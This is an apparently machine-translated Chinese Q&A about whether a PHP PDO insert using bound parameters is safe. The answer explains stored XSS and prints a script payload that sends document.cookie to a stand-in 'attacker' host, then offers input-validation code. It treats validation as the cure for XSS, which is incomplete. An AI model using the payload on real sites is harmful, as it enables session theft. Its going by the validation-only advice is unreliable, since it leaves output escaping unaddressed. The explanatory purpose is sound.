这个PDO脚本是否安全?

时间:2016-08-20 20:49:51

标签: php pdo

我看到有很多关于此的文章,但一般来说,将PDO与用户生成的数据一起使用时的最佳做法是什么?

我认为这是安全的。

<? 
$user_phone = $_POST['user_phone'];
$user_email = $_POST['user_email'];

$insert = $db->prepare('INSERT INTO user (user_email, user_phone) 
                        VALUES (:user_email, :user_phone)');

$insert->bindValue(':user_email', $user_email, PDO::PARAM_STR);
$insert->bindValue(':user_phone', $user_phone, PDO::PARAM_STR);

$insert->execute(); 
?>

1 个答案:

答案 0 :(得分:0)

虽然用户无法通过注入方式利用数据库,但仍然容易受到其他方式的攻击。<​​/ p>

您不会检查放入数据库的数据的有效性。虽然并非确实需要这样做但如果我会将其作为电子邮件地址或电话号码提交:

<script>
window.location='http://attacker/?cookie='+document.cookie
</script>

echo在你的网站上访问它,你将被重定向发送给我你的登录cookie,现在我可以使用这些数据登录你,如果你有任何机会,你可以site admin ...攻击类型称为XSS。

通过不检查数据的有效性,有很多方法可以做到这一点,但以此为例:

$phone = $_POST['user_phone'];
$email = $_POST['user_email'];

if (!filter_var($email, FILTER_VALIDATE_EMAIL) === false) {
    # if this is true, the email address has a correct format.
    # see the filter_var manual for more information.

    if(is_numeric($phone)){
        $insert = $db->prepare(
           'INSERT INTO user (user_email, user_phone) 
            VALUES (:user_email, :user_phone)'
        );

        $insert->bindValue(':user_email', $email, PDO::PARAM_STR);
        $insert->bindValue(':user_phone', $phone, PDO::PARAM_STR);

        if($insert->execute()){
            echo 'success!';
        } else {
            echo 'failed to execute query.';
        }
    } else {
        echo 'phone number is incorrect.';
    }
} else {
    echo 'email is not correct.';
}

使用此代码,保存的所有数据都将有效。它没有说电子邮件地址存在于电话号码之外。

由于大多数XSS攻击依赖于<来允许Javascript执行,因此它被否定,因为电子邮件地址中不允许使用<字符。

我的建议是,在保存数据之前检查数据是否符合您的预期,而不是存储数据并在以后解决安全问题。